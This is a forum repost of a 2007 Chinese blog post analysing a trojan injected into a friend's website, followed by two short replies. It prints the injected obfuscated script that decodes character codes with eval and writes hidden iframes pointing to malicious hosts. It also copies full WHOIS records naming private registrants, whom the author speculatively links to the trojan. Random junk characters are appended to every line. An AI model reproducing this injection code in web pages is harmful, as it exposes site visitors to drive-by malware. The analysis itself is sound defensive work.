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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, Z(c SM  
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http://www.areway.cn/?p=175 C(v'7H{4cW  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Zf}2c8Vc4  
          9&=%shOc+x  
<script>t=’60,105,102,114,97,109,101, NR(rr.  
32,115,114,99,61,104,116,116,112,58,47,47, JUA%l  
102,114,101,101,46,117,45,117,117,117,46,99, #&IrCq+  
110,47,101,114,114,111,114,46,104,116,109, %A~. NNbS  
32,119,105,100,116,104,61,49,48,48,32,104, xjU0&  
101,105,103,104,116,61,48,62,60,47,105,102, PSu]I?WF  
114,97,109,101,62′; K/C}  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> _ymSo`Iv R  
                                                                                                  aC1 xt(  
<script>t=’60,105,102,114,97,109,101,32,115, -u%o);B  
114,99,61,104,116,116,112,58,47,47,102,114, }0E@eL  
101,101,46,117,45,117,117,117,46,99,110,47, T+P{,,a/]  
101,114,114,111,114,46,104,116,109,32,119, c/bT5TIEWs  
105,100,116,104,61,49,48,48,32,104,101,105, ]wV\=m?z&  
103,104,116,61,48,62,60,47,105,102,114,97, "gI-S[  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Ja*,ht(5  
document.write(t);</script> l2Py2ZI-b  
                                                                                                  EB+4]MsD  
<html xmlns=” XU}i<5  
http://www.w3.org/1999/xhtml D&mPYxXL  
“> 1iR\M4?Frf  
<head> F'{T[MA  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> jzDPn<WQ  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> fy>3#`T-  
<title>首页 - 爱生活家庭网 6I=d0m.io  
                                                                                                                                                    4xs>X7  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 UVi9}zr  
转换字符串后的大概内容是(谁点击后果自付): >/C,1}p[  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… `ZC -lAY  
                                                                                                                                  ]nIVP   
查询玉米u-uuu.cn的详细信息: O>rz+8T  
Domain Name: u-uuu.cn 2g)q (  
ROID: 20070901s10001s64972306-cn T^|6{ S\  
Domain Status: ok i0x[w>\-  
Registrant Organization: 王雷 x51p'bNy  
Registrant Name: 王雷 cru&nH*O^  
Administrative Email: czlovexs@126.com dXt@x8E  
Sponsoring Registrar: 北京万网志成科技有限公司 #CeWk$)m  
Name Server:ns.yovole.com q}JP;p(#  
Name Server:ns1.yovole.com UG}"OBg/  
Registration Date: 2007-09-01 17:54 /WAOpf5  
Expiration Date: 2008-09-01 17:54 ) { "}bMf  
最后PING了一下地址 都没有什么…. Sf`?j  
                                                                                                i2O$oHd  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. EJ:2]!O  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ,`ehR6b  
<script language=”javascript” src=” =cR=E{20  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script z*^vdi0  
> Z79Y$d>G<E  
这个玉米应该有可能是木马作者的: <m`Os2#  
foafau.info的详细信息: c&L|e$C]  
Access to INFO WHOIS information is provided to assist persons in ug`Jn&x!  
determining the contents of a domain name registration record in the U3>ES"N  
Afilias registry database. The data in this record is provided by ''EFh&F  
Afilias Limited for informational purposes only, and Afilias does not 5Obv/C  
guarantee its accuracy.  This service is intended only for query-based =WFG[~8  
access. You agree that you will use this data only for lawful purposes ve/|"RB  
and that, under no circumstances will you use this data to: (a) allow, ^''3}<Ep  
enable, or otherwise support the transmission by e-mail, telephone, or )Oj%3  
facsimile of mass unsolicited, commercial advertising or solicitations *zPz)3;  
to entities other than the data recipient’s own existing customers; or (TGG?V  
(b) enable high volume, automated, electronic processes that send j=b-Y  
queries or data to the systems of Registry Operator, a Registrar, or YQfQ[{kp  
Afilias except as reasonably necessary to register domain names or +JFE\>O  
modify existing registrations. All rights reserved. Afilias reserves _vE[TFy  
the right to modify these terms at any time. By submitting this query, SC0_ h(zb,  
you agree to abide by this policy. u@[JX1&3"n  
Domain ID:D22418703-LRMS ]:]w+N%7  
Domain Name:FOAFAU.INFO n<7R6)j6  
Created On:20-Nov-2007 16:05:42 UTC /kd6Yq(y  
Last Updated On:20-Nov-2007 16:05:44 UTC ?m.Ry  
Expiration Date:20-Nov-2008 16:05:42 UTC ]M9r<x*  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) `>}e 5  
Status:CLIENT DELETE PROHIBITED I9r> 3?  
Status:CLIENT RENEW PROHIBITED &f>1/"lnd\  
Status:CLIENT TRANSFER PROHIBITED ]u O|YLWp  
Status:CLIENT UPDATE PROHIBITED DKf:0E8  
Status:TRANSFER PROHIBITED 8 =<&9TmE  
Registrant ID:GODA-040110615 Jro%zZle  
Registrant Name:liu hong *[['X%f  
Registrant Organization: *e-+~/9~  
Registrant Street1:beijing tJY3k$YX  
Registrant Street2: 3/((7O[  
Registrant Street3: a<`s'N1G  
Registrant City:beijing +~\c1|f  
Registrant State/Province: Bso3Z ^X.  
Registrant Postal Code:100000 mo3HUXf}8  
Registrant Country:CN .EoLJHL }  
Registrant Phone:+86.860108888777 B mxBbg  
Registrant Phone Ext.: 3DO ^vV  
Registrant FAX: ~~'UQnUN4  
Registrant FAX Ext.: Va m4/6  
Registrant Email:bbbshiji@163.com R k).D 6  
Admin ID:GODA-240110615 L2 tSKw~  
Admin Name:liu hong VlQaT7Q  
Admin Organization: aC2\C=ru_  
Admin Street1:beijing 5}t}Wc8  
Admin Street2: o=VDO,eS  
Admin Street3: ${F] N }  
Admin City:beijing ;4 ON  
Admin State/Province: Ui`Z>,0sFi  
Admin Postal Code:100000 r/vRaOg>X  
Admin Country:CN `by\@xQ)  
Admin Phone:+86.860108888777 AGxG*KuZ  
Admin Phone Ext.: &qP&=( $  
Admin FAX: 36U z fBa  
Admin FAX Ext.: Zxwcj(d  
Admin Email:bbbshiji@163.com ?xuhN G@  
Billing ID:GODA-340110615 3o=K?eOdg  
Billing Name:liu hong ,D`iV| (  
Billing Organization: 5L}qL?S`x|  
Billing Street1:beijing eD4o8[s  
Billing Street2: sSMcF[]@2I  
Billing Street3: 5 5_#?vw  
Billing City:beijing ^sp+ sr :  
Billing State/Province: (ft8,^=4  
Billing Postal Code:100000 Xn'{g  
Billing Country:CN / b_C9'S  
Billing Phone:+86.860108888777 9_z u*  
Billing Phone Ext.: Sb&[V>!2^  
Billing FAX: $i+ 1a0%n  
Billing FAX Ext.: DhwFD8tT  
Billing Email:bbbshiji@163.com <QyJJQM  
Tech ID:GODA-140110615 .'y]Ea  
Tech Name:liu hong (gv1f  
Tech Organization: Xk_xTzJ  
Tech Street1:beijing -4&SYCw  
Tech Street2: jQp7TdvLE$  
Tech Street3: Lii,L}  
Tech City:beijing \WnI&nu  
Tech State/Province: rVx%"_'*-  
Tech Postal Code:100000 n'yC-;  
Tech Country:CN PyD'lsV  
Tech Phone:+86.860108888777 S&A, Q'  
Tech Phone Ext.: X/_e#H0  
Tech FAX: Jbud_.h9  
Tech FAX Ext.: &!uN N|W  
Tech Email:bbbshiji@163.com Efm37Kv5l  
Name Server:NS27.DOMAINCONTROL.COM 4,!S?:7  
Name Server:NS28.DOMAINCONTROL.COM U}55;4^LX  
Name Server: .~+I"V{y F  
Name Server: CF`tNA3fxm  
Name Server: `,mE '3&  
Name Server: ]OE{qXr{  
Name Server: #-ioLt%  
Name Server: J 00%,Ju_  
Name Server: 2Rc'1sCth-  
Name Server: HB+\2jEE  
Name Server: <n iq*  
Name Server: %t&5o>1C  
Name Server: E>tlY&0[$  
                                                                                                          ;F@N2j#  
接着下载每个文件里面的代码: U5; D'G  
一步一步看.. t> J 43  
4#$~gTc@  
m L#-U)?F  
sjpcz4|K  
_cqB p7  
c7mIwMhl~  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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